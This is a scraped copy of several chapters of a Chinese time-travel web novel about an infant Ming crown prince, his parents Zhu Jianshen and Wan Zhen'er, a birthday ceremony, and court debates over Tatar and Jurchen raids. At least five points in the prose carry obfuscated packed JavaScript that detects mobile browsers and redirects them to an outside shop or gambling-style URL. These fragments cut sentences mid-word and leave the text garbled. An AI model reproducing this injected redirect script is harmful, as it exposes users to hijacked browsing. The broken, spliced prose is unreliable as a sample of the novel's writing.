“回禀万岁爷,去年年景堪堪可以。”?李贤?这样回答,有点万金油的架势。 朱见深:“......” “即刻下旨,总兵官与左都御史李秉东征,征讨频繁侵扰边境的鞑靼等外奴。” 李秉乃是明宪宗时期的名臣,点了他的名后,又点了一名兵部任职的武将,世袭济宁左卫指挥使赵辅。 让他们即刻出征,征伐鞑靼。 李秉和赵辅欣然领命,退朝后,就打点行程即日出发。 其实从成化元年开始,不止鞑靼侵扰边境,那健奴女真,也跟着鞑靼一起搞事儿。 历史记载,建州女真在公元1616年的时候,在努尔哈赤的努力下,才实现大统一建立后金政权。 如今成化三年(公元1469年),建州女真还是一盘散沙,各自为政。目前对于明军来说,并不具备多少的威胁性。 毕竟不是谁能预测,114年后,在公元1583年这一年,努尔哈赤会以祖父被明军误杀为起点,以“十三副遗甲”起兵,开始统一建州女真各部。 当然了,作为穿越者的朱佑棱知晓,但他目前还是话都不怎么会说的小宝儿。即便长大后,再来对付建州女真,也不嫌晚。 朱佑棱赖在万贞儿的怀中呼呼大睡,一点都没有体会到万贞儿激荡的心情。 因为此次金銮殿议事,万贞儿也在,不过万贞儿抱着孩子,坐在龙椅之后,身形完完全全被龙椅遮掩住了。 万贞儿并不觉得朱见深的勃然大怒有什么问题,甚至朱见深下达命令后就宣布退朝,等大臣们鱼贯而出金銮殿,万贞儿抱着呼呼大睡的朱佑棱,从龙椅后走出来。 “深郎,去年属于风调雨顺的好年景。” 朱见深点头:“李贤那老狐狸,你看看他说的什么话,怎么?‘堪堪可以’就妄想打发朕?当朕是三岁大的小孩。不明白他说这话的意思。” “和稀泥嘛,内阁大臣惯会的手段,深郎既然当了皇帝,就该熟知。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16601843|187261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”万贞儿安慰朱见深道。 “既然熟知,深郎就不必放在心上,只做自己认为对的事儿。” 她怀中的朱佑棱醒了,还试图想抬起手儿揉眼睛,结果...jiojio抬起来了。 朱佑棱:“......” 他这该死的五短身材,超级不协调的四肢。 朱佑棱委屈的瘪嘴,觉得天气已经开始转暖,怎么他还被裹得像红包。 “鹤归这是醒了?”朱见深凑过来,下一刻就伸手掐朱见深的腮帮子,也没有用力。 但是呢,婴儿的皮肤多娇嫩啊,立马起了红印子。 朱佑棱努力瞪圆眼睛,怒视朱见深。 他家的登儿,怎么这么手贱呢! 他现在连白眼都不屑翻了,主要越嫌弃,朱见深手就越贱。哪怕被万贞儿说,朱见深也乐不疲此。 瞧瞧现在,朱佑棱没哭更加没有翻白眼,朱见深反倒没劲儿了。 “鹤归越来越深沉了。”朱佑棱感叹。“还没有以前好玩呢。” 万贞儿顿时哭笑不得。“深郎说什么话,鹤归是孩子,可不是玩具。” 朱见深:“贞姐冤枉朕,朕怎么可能将鹤归当成玩具。朕只是觉得,嗯,鹤归小小年龄就开始老沉,对身体不好。” 万贞儿:“...哪里来的歪理。” “朕没有,朕从来不会和贞姐说歪理。”朱见深赶紧转移话题。“鹤归快周岁了,朕觉得周岁宴当大办。” 16.第016章 周岁宴按照朱佑棱的理解,其实是炫崽时刻。这不,被轮番表扬后,朱佑棱就被放在铺着大红绸缎的地砖上。 今儿朱佑棱没有被裹,但穿得格外喜庆。大红绸缎上放了很多东西,都是抓阄需要用的。什么金算盘,书籍,玉章以及玉玺、女孩子的胭脂水粉都放着。 朱佑棱视线落在放着的胭脂水粉上,心中忍不住开始吐槽。 ——看吧看吧,他就说如果朱见深负责安排周岁宴的话,必出幺蛾子。 ——哪家男孩子周岁宴抓阄,会放胭脂水粉? ——除非小亲爹脑子抽筋,才会允许胭脂水粉上场。 朱佑棱歪了歪小脑袋,决定像很多穿越人士那样,卖弄自己的聪慧。 他先‘噗呲噗呲’的快速爬到胭脂水粉身边,然后在众人惊呼声中,用胖乎乎的小手拿了一盒胭脂,快速的爬到了万贞儿身边,将胭脂递给万贞儿。 万贞儿原本怒火高燃,顿时被朱佑棱的暖心动作浇灭。 “鹤归真乖。” 朱佑棱努力用胖乎乎的小手手,给万贞儿比了个大大的爱心。 随即发出清脆的笑声,又把论语拿在手中,像丢手|榴|弹一样,‘咻’的一下朝朱见深所在方向发射。 他喜欢读‘轮’语,不喜欢论语,朱见深‘长于妇人之手’读书少,挺适合读论语的。 看到朱见深被‘论语’书籍砸了个正着,小坏蛋一样的‘咯咯’笑了起来。 参加周岁宴的贵妇,以及宗室们都被这突如其来的一幕惊呆了。久久无法回神,而回过神后,不约而同选择尴尬的奉承,说朱佑棱不愧老朱家的正统,就是有个性。 朱见深:“那比之洪武大帝如何?” 啊这! 这么有想法,这么有追求的主儿,记得还是朱见深的亲爹,那位被后世誉为‘大明战神’的叫门天子朱祁镇,当初抱着就是赶超洪武大帝的心态,成功将自己的皇位给作没了。 想起这位去世三年多的先帝爷,大家面面相觑。实在不好意思提,更加不敢顺着朱见深的话语恭维说,朱佑棱未来一定赶超洪武大帝。 万一,就说万一啊,朱佑棱这位尚不满周岁就被册封为皇太子,遗传到了他爷爷的蜜汁自信,也要成为大明新一代战神怎么办。 一时间,现场的气氛变得很是尴尬。 唯一没有受影响的,大概就是朱见深和朱佑棱了。就连万贞儿都受了影响,脸色瞬间一变,恼怒挂脸又极速消失。唯有朱见深、朱佑棱这对父子,当真不愧为老朱家的正统。 朱见深觉得自己儿子,定能青出于蓝而胜于蓝,而朱佑棱,他则觉得作为皇帝,除了要武德充沛外,还不能不懂装懂。不懂军事,就把军务交给懂的人,像朱祁镇那种自以为武功盖世,能力压洪武大帝的憨包,活该‘名流千古’,定在历史的耻辱柱上。 朱佑棱挥舞小手手,将玉玺、金算盘以及各种玉制、金制的小摆件全部扒拉到一块儿,然后揪屁股底下的红色绸缎,团到一块儿打包。 “娘,要,装好,宝的。” 万贞儿:“......好的,小翠,听到没有,鹤归要将他抓阄抓到的打包装好。” “娘娘放心,奴婢会将太子殿下的东西妥善放好,绝对不少一件。” 小红也来讨巧,说了逗趣的话儿。倒也将这小小的插曲糊弄了过去。很快,抓阄的场地被撤下,宫娥将朱佑棱抱起,交给了万贞儿。 朱佑棱这时候的精神头儿还好,没吵没闹,窝在万贞儿的怀中咿咿呀呀,自顾自的玩耍。 朱见潾的王妃凑过来说话,言语极尽奉承。万贞儿也挺给面子的,有一搭没一搭的附和。 整个宴会,除了周太后悻悻不乐外,绝大部分都将威胁的高兴挂脸色。 万贞儿看她那样儿,就不想搭理。事实上也没有搭理,就连朱见深这位亲儿子,仿佛也忘了周太后是他亲娘似的,全程没有和周太后说几句话。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16609109|187261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >而周太后呢,也没有看万贞儿为她生的好大孙的意思。只时不时的翻记白眼,将不待见万贞儿以及万贞儿生的朱佑棱,表现得淋漓尽致。 然尴尬的是,周太后她就是摆设。手中没有宫权,再加上得信的,都被万贞儿处理了,所以...... 白眼翻就翻呗,就当周太后人老眼皮松弛,这才时不时抽搐。 “德王和德王妃几日启程?”万贞儿询问。 德王妃赶紧回答:“参加完太子殿下的周岁宴,臣妾和王爷不日便启程前往封地。” 朱见潾比朱见深小了一岁多,受封德王,就藩封地位于济南府历城县,也是后世的山东历城。 本来打算开春就走,只是想着朱佑棱周岁宴,先去了封地安顿没多久,又要回京祝贺,干脆就等朱佑棱的周岁宴过了再走。至于其他藩王,年龄都还小,还住在紫禁城,和住在慈安宫的周太后仅有一墙之隔。 万贞儿点头,倒也说了句冠冕堂皇的勉励话语。 “此行一路顺风。” “多谢皇贵妃娘娘祝福。”德王妃笑的温柔,她的年龄和王氏相当,目前十九,比朱见潾大了将近三岁。 不过正妻嘛,大点无所谓,德王妃之所以能成为王妃,而不是进宫做嫔妃,完全在于家世。 书香门第,不太符合皇室后宫纳嫔妃的规矩,所以一般除了可为皇后外,便是宗室藩王的正妃。 说起来,德王妃的文化素养,要比万贞儿高。万贞儿算是耕读人家出生,读过几本书,入宫之后照顾朱见深的时候,又不间断的自我学习。 万贞儿甚至可以很自豪的表示,自己甚至能给朱佑棱启蒙。 对于德王妃,万贞儿并不嫉妒,不过有时候会想,如果是德王妃为朱见深的元后,大概没那么轻易就把她废了。 好在德王妃没那个‘福分’,朱见潾其实也挺不错。年轻、帅气,并且性格也挺好。最重要的是,朱见潾的生母,没有周太后奇葩。 17.第017章 这不,奇葩的周太后,准备搞事了。 只见她优雅的用手绢擦嘴,之后手绢一扔,就开始不阴不阳的说话。 “瞧瞧,不愧是皇子皇孙,这抓阄啊,就是与众不同。” ——这是嘲讽? ——明明就是夸奖! 万贞儿眼皮子都懒得翻,就这的功力,怪不得一路靠儿子躺赢,却还觉得自己魅力无限,靠着自己的努力,才登上太后的宝座。 真不知道哪里来的蜜汁自信。 就凭朱见深这带孝子? “太后娘娘说得极是,这皇子皇孙,的确与众不同。” 万贞儿眯起眼睛,一双涂满丹寇的手洁白如玉,被朱佑棱抓着玩耍。 万贞儿由着朱佑棱,面对周太后的时候,依然语调悠扬,根本就没有为周太后的不恰当言辞动怒。 “相信当初太后娘娘生万岁爷的时候,也体会到了万岁爷的与众不同,所以才哭着喊着让别人照顾万岁爷。” 周太后顿时脸色一阵青一阵白。 这该死的女人,是故意给她难堪吧! 周太后很讨厌万贞儿,嫌弃她老牛吃嫩草。关键那嫩草,还是她亲生的种。 这就更过分了,对万贞儿的讨厌,真的延续十几年。如今又有了往下一辈蔓延的趋势。 万贞儿生的,哪怕是亲生子,她也不喜欢。 周太后黑着脸瞪了万贞儿一眼,下一刻就和她怀中的朱佑棱对上了视线。 其实说起来,周太后还算年轻,毕竟和万贞儿同年,只是大了一个月。 但周太后的面相就是显老,对比受到爱情滋润的万贞儿,周太后不像婆婆,反而像婆婆她妈。 周太后的口才不好,急了的话,甚至会出现口吃的现象。 这不,颤颤巍巍,手抖得不行,还道。“你...你这,不知尊卑的贱......” ‘贱’不下去了,主要是万贞儿居然打断她的话,以朱佑棱困了为由,抱着朱佑棱,直接将周太后等一干太妃丢下,骂人要当面骂才有劲儿,万贞儿这一走,周太后可不就骂不下去了。 “没礼貌。哼!” 周太后哼起,也调头就走。 朱见潾的生母万太妃,等周太后一走,便招来儿媳妇,询问先前她和万贞儿说什么。 德王妃轻声说。“没有说什么,就是简单的聊了几句。” “哎,现在本宫就盼着潾儿就藩,继续在这紫禁城住着,慈安宫虽说大,但想着和她同住,本宫就憋屈得很。” “母妃。”德王妃扯了扯衣袖,示意万太妃小点声,别闲话传到那位周太后的耳朵里,又要找麻烦。 “她啊,一辈子就这样了。也是运气好。本宫啊,就没她这样的好运。” 当初选秀,由于都姓万,万太妃和万贞儿关系相对好。本来万太妃觉得,凭借万贞儿的好相貌,一定能选上。结果出了意外,万贞儿疑似中毒,起了一身的红疙瘩,连脸上都有。颜色瞬间从十分降低为一分,好色的先帝爷,又岂会看上,因此万贞儿被先帝爷的生母孙太后要去,成了身边的女官。 当初她们同一批秀女,都觉得万贞儿也就那样了。年华蹉跎,最好不过年三十岁被放出宫,谁又能想到命运那样变化无常,十几载过去,万贞儿没有成先帝爷的嫔妃,而成了当今皇帝的真爱。 万太妃感叹不已:“不过本宫有潾儿,现在潾儿又娶了你,也算有福,就不和她攀比了,免得她心中得意。” 德王妃点头,随即扶着万太妃离开宴会,原本还算热闹的宴会,很快没了人。宫人们快速的时候,等朱见深和怀恩等信任的太监谈论完要事,回来发现乾清宫外干干净净,彷佛先前的热闹根本不存在。 朱见深:“...哎,贞姐怎么不等等朕,一定是鹤归的问题。” 被念叨的朱佑棱应景的打了一连串的喷嚏,惹得伺候的宫人惊呼,莫不是太子殿下邪风入体,着了凉。 朱佑棱:“......” 一定有妖人在背后诅咒孤! 朱佑棱咿咿呀呀,闹着不肯睡。 万贞儿此时并没有在安喜宫内,而是在正殿外的庭院待着。朱佑棱咿咿呀呀闹起来,万贞儿听了个正着。 “怎么了?” 万贞儿着人将朱佑棱抱出来。 此时三月二十一,天气凉爽,靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16618146|187261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近耳房的那处墙角处的茉莉丛,已经冒出翠绿颜色。春风穿过穿过抄手游廊,带来丹桂的残香,也卷起几片落叶,打着旋儿落在冰凉的石阶上。 铺着白狐皮毯的软塌被抬出来,放在庭院的正中位置。万贞儿斜靠在上面,朱佑棱一被抱出来,只需要伸手接过。 “淘气了?”万贞儿手指点了点朱佑棱的额头,就将朱佑棱放在软塌上,自己则去拿了一只精致的拨浪鼓,轻轻摇晃,逗弄着榻上努力想翻身的小人儿。 是的,万贞儿的放崽,是将崽儿像乌龟一样倒扣,让朱佑棱趴在软塌上。 要知道现在虽三月下旬,但朱佑棱穿得挺厚实。红色的锦袄,让朱佑棱看起来像个色彩鲜艳的福娃娃,此时朱佑棱正吭哧吭哧地努力弓腰,试着自己站起来。 然鹅穿得太厚实了,任由朱佑棱小屁股翘得再高,依然没站起来。半晌努力过后的朱佑棱干脆一屁股坐到软塌上,开始揪着白狐皮毯上的毛毛。 “贞姐,你怎么不等着朕。” 委屈的小奶狗到来,直接无视他们俩的爱情结晶,直奔姐姐怀抱。 被嫌弃的朱佑棱伸出小手手勾着拨浪鼓,努力再努力,成功后露出灿烂的笑容。 “万岁爷这是......” 万贞儿迟疑片刻,顿时‘喜’迎眼泪汪汪的小奶狗。 “他们都欺负朕。” 朱见深告状,顺便撒娇。 “扬州那边盐贩闹事,”朱见深皱着脸,很不高兴的说。“不知何时传来捷报。” 也是巧了,朱见深港这样说,就见怀恩公公快步跑来,气喘吁吁,可脸上带着一丝如释重负的笑意。 “万岁爷,扬州那边传来捷报,盐贩之乱,彻底平了。” 万贵妃轻轻拍打朱见深后背的手微微一顿,眉眼舒展开来。 “哦,听到没有深郎?总算来了好消息。那些个无法无天的蠹虫,早该清理了。” 朱见深很是高兴,顺着万贞儿的话,却笑看朱佑棱。“鹤归听见没?扬州安稳了,今年的盐价也该落一落了。” 朱佑棱:“......” ——要不要应景的吱吱两声? 18.第018章 朱佑棱歪歪小脑袋,决定给小亲爹的面子,张口应景的‘吱吱’两声。 朱见深:“???” “贞姐,鹤归这是怎么了?”朱见深的声音透着惊讶,倒不惶恐,但莫名的搞笑。 “鹤归这是在回答你呢。” 万贞儿好笑,柔声的说。“鹤归还不太会说话,可不只能用‘吱儿’来应答你嘛。” 朱见深停住步伐,转而深深的注视转而努力对抗厚重衣服,以及地心引力的朱佑棱。 是的,朱佑棱将自己还不会走路的原因,怪到了地心引力上。根本就没想过,有他吃好睡好,婴儿肥太朴实,肉滚滚又穿得多的缘故。 等夏天到来,脱了厚重的衣裳,穿上凉快的红肚兜,一定走得十分利索。 “吱~咿呀!” ——扬州造反的盐贩,平定是平定了,可盐政积弊已久,不从根本上解决,怕是野火烧不尽。 朱佑棱‘咿咿呀呀’说了一通,然鹅早产儿的他,暂时性的还说不出话来,至少一连串富有哲理性的话语是说不出来的。只能在心里哔哔。 不过有一说一,还算说到了点子。后世来的,哪怕再普普通通,平平无奇的平凡人,眼界都要高很多。 这时怀恩公公继续禀告,只是消息...... “万岁爷,皇贵妃娘娘,扬州盐贩平定,实属好事。只是...北边......” “只是北边,又来了军报,鞑靼俺答部(蒙古)再次寇边,劫掠了宣府一带的几个墩堡。将士们奋力击退,但损失不小。” 原本的喜意,似乎被这话冲淡了几分。 万贞儿脸上的笑意敛去,朱见深更是生气的来了一句:“岂有此理。” “万岁爷可召见兵部和五军都督府的人?” 朱见深下一刻却是看向万贞儿,想问问万贞儿的意思。 “那依深郎的意思...”万贞儿没有说出自己想说的话,先问问朱见深的意思,要是朱见深想要学习先帝爷,当大明新一代战神, “贞姐,”他在万贵妃身边坐下,语气带着疲惫和愤懑,“这些鞑靼,真是欺人太甚!年年叩边,劫我百姓,毁我田舍!朕真想效仿父皇,御驾亲征,彻底扫平这些祸患!” 万贞儿:“......” 朱佑棱:“......” ——有这样的决心是好事,但不能学‘大明战神’啊! ——就‘大明战神’的运气,小亲爹你敢保证自己能像朱祁镇一样,经历被俘,被退位,复立为帝的人生历程? 朱佑棱翻了大大的白眼,直接脱口而出。 “笨。” 是的! 朱佑棱嫌弃小亲爹笨,御驾亲征虽说能鼓舞士气,但有前提啊。两军交战,除了狭路相逢勇者胜外,最忌讳的其实是,外行指导内行。特别是那个外行,还拥有实权,拥有至高无上的地位,那结果必然的,必输无疑。 纵观古今,哪位皇帝能像朱祁镇一样,被俘丢了皇位后,还能活着回到紫禁城,还再次登基为帝? 想想靖康之难,想想宋徽宗、宋钦宗父子俩,双双铁窗泪,后来登基为帝的南宋高宗赵构,不也从来没有想过将宋徽宗、宋钦宗赎回来嘛。 这一刻,朱佑棱在心中没良心的想,要是小亲爹执意要学习他爷爷朱祁镇的骚操作,将自己的皇位作没,那么他不是不可以在襁褓之中登基为帝...... 至于后续,哎,大漠风景其实挺不错。就在那里老死吧!相信到了地府,小亲爹和他爷爷一定会就‘御驾亲征’‘叫门天子’的话题,展开激烈的讨论。 朱佑棱此时已经做好当带孝子的准备工作。万贞儿呢,则亲自动手倒了一杯温热的茶水,递给朱见深。 “深郎冷静一点。”万贞儿忽略朱佑棱先前说的‘笨’字,柔声安慰。 “御驾亲征非同小可,想想土木堡旧事。深郎,别嫌我说话不好听。可土木堡之变犹在眼前,决不可重蹈覆辙。” 朱见深珉紧唇瓣,不发一语。 万贞儿又道。“如今边关那里,只要粮饷器械充足,指挥得当,未必不能拒敌于国门之外。” 她话语一顿,带着几分试探,“可是,朝中又有人主张‘抚’?” 朱见深:“明儿上朝,肯定有文官建议以‘抚’为主。” 朱见深接过茶盏,重重哼了一声,又道。 “总有那么几个老不死的,说什么‘怀柔远人’,‘兵者凶器’,仿佛朕一意主战就是穷兵黩武!他们怎么不去边关看看,那些被鞑子杀害的百姓何其无辜!” 朱见深越说越激动,到最后激动得咳嗽起来。 ——哦豁! ——小亲爹雄起! 朱佑棱艰难翻动身子,坐了起来。那双乌溜溜的眼睛,直直的看着朱见深。 他的小亲爹,在维护国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他握住万贞儿的手,情真意切的说:“还是贞姐知朕,朕明天上朝就下令让边关将士固守城堡,并且严令户部、兵部限期筹措钱粮,尽快送往边关,绝不容他们拖延塞责。” 万贞儿点头,赞同朱见深的话,却又道。“既然深郎下定决心,那我可得好好给深郎捋捋,明日怎么开口,才能让文官们没有反驳拒绝的余地。” 19.第019章 帝妃二人组开始商议,就唯一的当事人朱佑棱事后回忆,只一词形容就是,癫且凶残! 朱见深被万贞儿安慰好了,当天心情一直美美的,然鹅好心情并没有维持到早朝结束 。 原因无他,主要千里马奔急,辽东那边送来八百里加急。说是建州女真首领董山,桀骜不驯,屡次纵兵犯边,劫掠人畜,并且暗通鞑靼,其心可诛。 “当真是个祸害。” 金銮殿之上,朱见深直接摔了八百里加急送来的奏折。 “皇上息怒。” 文武百官面面相觑,眼见朱见深这回是真的动怒,并且怒气勃然,当即齐刷刷地跪倒一片,口呼皇上息怒。 只有几个须发皆白的老臣,如商辂、彭时等,虽也躬身,但面色沉静,似乎对皇帝的暴怒和那建州女真首领,建州左卫右都督猛哥帖木儿之子董山的作为,并不意外。 “息怒?你们让朕如何息怒!那董山,不过一介部落首领,受我大明册封,享朝廷赏赐,不思感恩,反而屡次三番犯我边境,杀我百姓,劫我财物!如今更是胆大包天,竟敢暗通鞑靼,欲成掎角之势,窥我大明江山!其心可诛!其行当灭!” 朱见深越说越气,胸膛开始起伏不定,显然气得不轻。他指着先前被他狠狠摔在地上那本奏折怒火高炽。 鞑靼其实是元朝残余势力的统称,?其中朵颜三卫(朵颜、泰宁、福余)是主要蒙古部落。 永乐年间,朵颜三卫转附瓦剌部落(另一蒙古势力),并与鞑靼共同对抗明朝。 如今建州女真又掺和在其中,边境的局势越发紧张。朱见深又不是他爹‘大明战神’那样的蠢货,如何不清楚鞑靼联合建州女真、瓦刺等北方游牧部落,对大明边境的危害有多大。 正因为知道,所以此时的朱见深又惊又怒,戾气油然而生。 “朕登基之初,便知鞑靼乃心腹之患!”朱见深深呼吸,又道。“如今就连那建奴女真也来恶心朕。真当我大明刀锋不利?” “陛下息怒。”兵部尚书白圭出列,躬身奏道。 白圭字宗玉,正统七年(1442年)进士,正统十四年(1449年),随征瓦剌,并在土木之变后逃回。 成化二年(公元1467年),奉命提督军务,与抚宁伯朱永等讨平荆襄流民刘通之乱,以功加太子少保兼兵部尚书,又提督十二营操练。 算是明朝名臣,史书也有记载,都是正面的评价。但明史本身是满清编缀的,就有一定程度失真,可以信但不可尽信。 就像现在,这位历史上的名臣,开始规劝朱见深不要冲动行事。 “陛下,董山狼子野心,确乃辽东大患。然其部族骁勇,熟悉山林,剿灭不易。且辽东地广人稀,大军征讨,粮草转运艰难,若陷入僵持,恐于我不利。是否......先遣使申饬,观其后效?” 他这话,带着文官惯有的谨慎,甚至可以说是一丝绥靖的苗头。 绥靖,绥指安抚,靖则是安定。意思是说,使用安抚的手段,使局势安定。 至于申饬的意思,那就更好理解了,指告诫。并且并不强烈的告诫。 文官说话就是这样,‘主和派’讲究含蓄,把目的摆出来,却说得好听。 不过对象仅限于文雅人士。 不是诽谤啊,主要老朱家的血统,有那么亿点点迥于常人。不信翻翻史书,仔细看看明朝12帝的生平,就会得出十分重要的结论。文雅什么的,在老朱家里并不存在。 唯一文雅的,就建文帝,嗯,典型被儒生忽悠瘸了的典范。好好的皇帝不当,非要作,结果好了吧,被后面的大明立为典型,劝诫后人千万不要学他。 当然朱佑棱的爷爷,大明战神朱祁镇同样是典型。他带来的后遗症太大,至于往后的皇帝再有御驾亲征的念头,文官武将们立马疯狂阻止,大有再来一次,绝对断送大明江山的架势。 龙椅后,被万贞儿抱着坐在小板凳上的朱佑棱,突然觉得鼻子痒痒的,忍不住打起喷嚏来。 “阿嚏!” 满朝文武:“......” ——从来没有哪位皇帝上朝,还拖家带口的! “咦!呀!骂!打!” 一定有妖人在背后诽谤孤! “鹤归小点声,别打扰父皇。”万贞儿安抚朱佑棱,等朱佑棱‘安分’听话没有再闹出动静后,又继续聆听。 这时朱见深显然气急,居然冷笑出声。 “申饬?观其后效?” “白爱卿,朕的兵部尚书。董山拿着大明的俸禄,奉大明为主,却干着劫掠边堡、暗通鞑靼的事情。这是什么?这是公然叛逆!” “你告诉朕,还如何观其后效?难道要等他与鞑靼合兵一处,兵临山海关下,朕才能动手!” 董山作为大明建州女真首领,是有官职的。并且还是世袭,袭自他爹猛哥帖木儿,乃建州左卫右都督。 朱见深说董山拿着大明的俸禄,却暗通鞑靼,的确算是叛逆。 也算年轻气盛吧。朱见深十七岁登基,如今快二十岁了。还是当初那初登基意气风发的少年郎。 只见他目光锐利地扫过群臣,尤其那几位主张“怀柔”的文官,重点关注,锐利目光在他们脸上停留片刻。 “朕看你们是太平日子过久了,忘了刀兵为何物!对这等反复无常,背信弃义之辈,唯有以雷霆手段,彻底铲除,方能震慑塞外诸夷,保我大明边境安宁!” “陛下圣明。” 这时,一位身着麒麟补服的武将出列,声如洪钟。 “末将愿领兵出征,定将那董山首级献于陛下驾前!” 前面没几天,左都御史李秉奉命东征,征伐屡扰边关的鞑靼等外寇。当时,将几大蒙古部落,以及瓦刺残余的势力,都计算在了里面。却唯独没计算到建州女真。 可以很负责任的讲,在这之前,建州女真表现得挺安分,就是偶尔和大明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16627376|187261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 附属国朝鲜时有摩擦。 也就没有想到,下一任建州左卫右都督的董山,居然暗中和鞑靼勾勾搭搭。 李秉如今已至辽东,八百里加急便是他亲自撰写,吩咐亲兵快马加鞭的送来。 想必现在董山已经带着女真部曲和鞑靼汇合,正在凶猛的攻打边关。 这一点,其实很多武将都想到了,而文官们...... 他们也想到了,但可惜的是,心里弯弯绕绕太多。有时候未必不清楚,面对外敌入侵,最好的防守是进攻。 可利益交织,文官们很多都算世家出身,哪怕不是世家,而是所谓的耕读人家考出来的,也更看重宗族,而不是国家。 家国大义,口头上喊得好听。背地里,不,哪怕明面上,也干了不少卖国的事儿。 看有武将出列,朱见深的脸色好了很多。不过朱见深并没有立刻答应,而是将目光投向一直沉默的内阁首辅商辂:“商卿,你以为如何?” 商辂缓缓出列,他年事已高,但目光依旧清明睿智。他先是对朱见深行了一礼,才不疾不徐地开口。 “陛下,董山必除,此乃朝野共识。然如何除之,需有万全之策。赵都督勇武可嘉,然辽东地势复杂,女真各部盘根错节,若只一味强攻,恐难成成功。老臣甚至觉得,可能逼得其他女真部落与董山抱团取暖。” 先前出列请战的乃名将赵辅,骁勇善战,最是勇猛不过。历史上,也是他和李秉合作,大破建州女真。赵辅因此得封武靖侯。 朱见深眉头微蹙,沉默下来,显然在思索。 片刻后,朱见深道。“那依着商卿的意思,该如何?” 商辂道:“老臣以为,可双管齐下。一方面,陛下可明发上谕,痛批董山之罪,断其贡赏,命辽东镇守总兵官整军备战,摆出大军压境之势,以震慑其党羽,分化其部众。另一方面......” 他顿了顿,声音压低了些,却突然带着一股寒意。 “可遣精干之人,或重金收买其身边亲信,或寻其仇家,行非常之事。明枪易躲,暗箭难防。若能以最小代价除此祸患,为上策。” 商辂此言,虽未说明,但意思其实很清楚。指剿灭和安抚工作同时做,甚至必要的时候,使用暗杀手段。 这样的招数,不愧是在宦海中沉浮的老油条,能想出来的。可比单纯的主战或主抚,狠辣得多。 朱见深听完,再一次陷入沉思。很快,他眼中的怒火渐渐被冷静的决断所取代。 片刻,只见朱见深缓缓坐直身体,手指开始在龙椅扶手上轻轻敲击。 “商卿说得好,朕同意了。” 朱见深终于开口,挺冷静的说。“那就依商卿所言。” 又看向其他人,下达命令。 ”怀恩拟旨。革去董山一切官职封赏,列其罪状,传檄辽东诸部!命辽东总兵官缑谦,严密监视建州女真动向,整饬军备,若董山再敢有异动,可先斩后奏!” 20.第020章 “朕真的不再想听到董山这个名字。” 坐在龙椅之上的朱见深,眸光深远,彷佛透过敞开的大殿门看向那太极广场。 说完这话,朱见深久久不语。 大殿沉静一片,谁都没有说话,包括先前主动请缨的赵辅。 ‘躲’在龙椅之后的万贞儿低头看着怀中幼儿。 朱佑棱醒着,圆溜溜的眼睛直直的瞅着万贞儿。而与万贞儿目光对视间,朱佑棱勾唇,露出一抹奶软的微笑。 万贞儿轻点朱佑棱的额头,下一刻无声的笑了。 她伸手招来怀恩公公,低声耳语道。“告诉万岁爷,锦衣卫该动一动了。” 怀恩立刻躬身,尖细的嗓音在殿内清晰响起。 “陛下,每逢战事起,细作四处作乱,不如让东厂以及锦衣卫的人手一起出动,抓捕细作,免得影响战事。” 朱见深点头,随即就对怀恩公公下了命令。 怀恩乃东厂厂督兼司礼监掌印太监,朱见深一同意万贞儿给予的建议,退朝之后,东厂的人手动了,而锦衣卫... 各地卫所的千户百户,接到中枢下达的命令后,齐齐行动,一时间风起云涌,不少走边关往关外贩卖粮食茶叶丝绸等物的游商遭了殃。 锦衣卫拿人,和东厂一个性质。从来都是怀疑者直接捉拿下狱,然后再找证据。至于找到证据后,放不放人... 士农工商,就连‘士’阶级的文人都要避着,不然落到锦衣卫/东厂手中,不是也要脱层皮。何况是商人,还是经常往关外外跑,做游商生意的商贾。 当然他们本身,也实在该死。 